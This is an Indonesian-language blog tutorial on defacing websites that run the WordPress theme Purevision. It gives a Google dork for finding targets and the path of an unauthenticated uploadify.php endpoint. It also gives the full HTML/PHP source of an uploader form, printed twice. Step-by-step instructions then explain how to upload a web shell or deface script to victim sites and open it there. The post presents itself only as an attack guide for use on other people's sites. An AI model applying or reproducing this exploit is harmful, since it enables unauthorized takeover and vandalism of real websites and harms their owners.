Hai...
Kembali lagi bersama saya Tuan Swam:D.
Maaf kalo udah lama Gk update tutorial..
Kali ini gw akan memberikan tutorial deface poc WP theme Purrevision:v.
Ok langsung saja ke tutorial nya:')..
Yang pro nyimak aja ea:v
Bahan² nya:
1.Dork:inurl:/wp-content/themes/purevision/
2.Exploit:/wp-content/themes/purevision/scripts/admin/uploadify/uploadify.php
3.CSRF:Comot aja di bawah atau ke web ini 👉 http://kumpulan.000webhostapp.com/CSRF%20ONLINE.php
<html> <head> <title>CSRF</title> </head> <body> <center> <body bgcolor="black"> <font size="6" color="#A50604" face="Orbitron" style="text-shadow:1px 0px 5px blue;">./ Codex By Tuan Swam \.</font> <br> <font color="aqua"> ==================================================================================================================================================== </font> <br> <font size="3" color="lime"> THANKS TO ALL MEMBER OF <br><font size="6" color="red" face="Wallpoet" style="text-shadow: 1px 0px 5px blue;" > SOFTWARE CYBER </font> <br> <font color="black" </font> Special Regards TO : <font color="lime" </font> <marquee behavior="alternate" onmouseover="this.stop()"onmouseout="this.start()">~ TUAN SWAM AND ALL MEMBER SOFTWARE CYBER ~</marquee> </font> <br> <font color="aqua"> ==================================================================================================================================================== </font><br> <img src="https://lh3.googleusercontent.com/-cQzb5zqQQGM/V4Rus4pb6PI/AAAAAAAAAx8/1D1SB0VBAzk/s2560/%25255BUNSET%25255D.jpg" width="600" height="600"> <form method="post"> <font size="6" color="red" face="Wallpoet" style="text-shadow: 1px 0px 5px purple;"> URL: <input type="text" name="url" size="50" height="10" placeholder="http://www.target.com/[path]/upload.php" style="margin: 5px auto; padding-left: 5px;" required><br> POST File: <input type="text" name="pf" size="50" height="10" placeholder="Filedata / files[] / qqfile / userfile / dll" style="margin: 5px auto; padding-left: 5px;" required><br></font> <input type="submit" name="d" value="Kunci Target!!!"> </form> <?php $url = $_POST['url']; $pf = $_POST['pf']; $d = $_POST['d']; if($d) { echo "<form method='post' target='_blank' action='$url' enctype='multipart/form-data'><input type='file' name='$pf'><input type='submit' name='g' value='Genjot cuks!'></form"; } ?> </form> </center> </body> </html>
<html> <head> <title>CSRF</title> </head> <body> <center> <body bgcolor="black"> <font size="6" color="#A50604" face="Orbitron" style="text-shadow:1px 0px 5px blue;">./ Codex By Tuan Swam \.</font> <br> <font color="aqua"> ==================================================================================================================================================== </font> <br> <font size="3" color="lime"> THANKS TO ALL MEMBER OF <br><font size="6" color="red" face="Wallpoet" style="text-shadow: 1px 0px 5px blue;" > SOFTWARE CYBER </font> <br> <font color="black" </font> Special Regards TO : <font color="lime" </font> <marquee behavior="alternate" onmouseover="this.stop()"onmouseout="this.start()">~ TUAN SWAM AND ALL MEMBER SOFTWARE CYBER ~</marquee> </font> <br> <font color="aqua"> ==================================================================================================================================================== </font><br> <img src="https://lh3.googleusercontent.com/-cQzb5zqQQGM/V4Rus4pb6PI/AAAAAAAAAx8/1D1SB0VBAzk/s2560/%25255BUNSET%25255D.jpg" width="600" height="600"> <form method="post"> <font size="6" color="red" face="Wallpoet" style="text-shadow: 1px 0px 5px purple;"> URL: <input type="text" name="url" size="50" height="10" placeholder="http://www.target.com/[path]/upload.php" style="margin: 5px auto; padding-left: 5px;" required><br> POST File: <input type="text" name="pf" size="50" height="10" placeholder="Filedata / files[] / qqfile / userfile / dll" style="margin: 5px auto; padding-left: 5px;" required><br></font> <input type="submit" name="d" value="Kunci Target!!!"> </form> <?php $url = $_POST['url']; $pf = $_POST['pf']; $d = $_POST['d']; if($d) { echo "<form method='post' target='_blank' action='$url' enctype='multipart/form-data'><input type='file' name='$pf'><input type='submit' name='g' value='Genjot cuks!'></form"; } ?> </form> </center> </body> </html>
4.Ke Tamvanan juga perlu:v
Ok langsung aja ke Ranjang!!.
Eh salah😂
Maksud gw ke cara nya!!
1. Dorking dulu ke gogle!!
2. Kalo udah tinggal pilih target terus Lo masukin Exploit nya..
Contoh:Site.co.li/wp-content/themes/purevision/scripts/admin/uploadify/uploadify.php
3. Web nya blank putih? Berarti itu vuln!
4. Buka CSRF nya yang udah Lo copas simpan dengan format .html! Lo buka tempel url web yang vuln tadi beserta Exploitnya..Kalo udah bagian Post File tulis Filedata kita kunci target setelah itu upload deh Shell atau SCRIPT deface Lo..
5. Kalo berhasil ada tulisan 1...
6. Cara akses nya?? Contoh: Site.co.li/namascriptlo.html
Mungkin itu aja yang dapat gw share hari ini.Semoga bermanfaat😉
Mohon maaf atas kesalahan penulisan nya..
Bingung?
Sama😂:v jangan lupa share🙏
Sama😂:v jangan lupa share🙏
KamI bukan orang yang gila!!! Dengan merusak dan mencuri!!Tapi...Kami hanyalah orang yang haus!!Akan Ilmu dan Informasi!!!
Tidak ada komentar:
Posting Komentar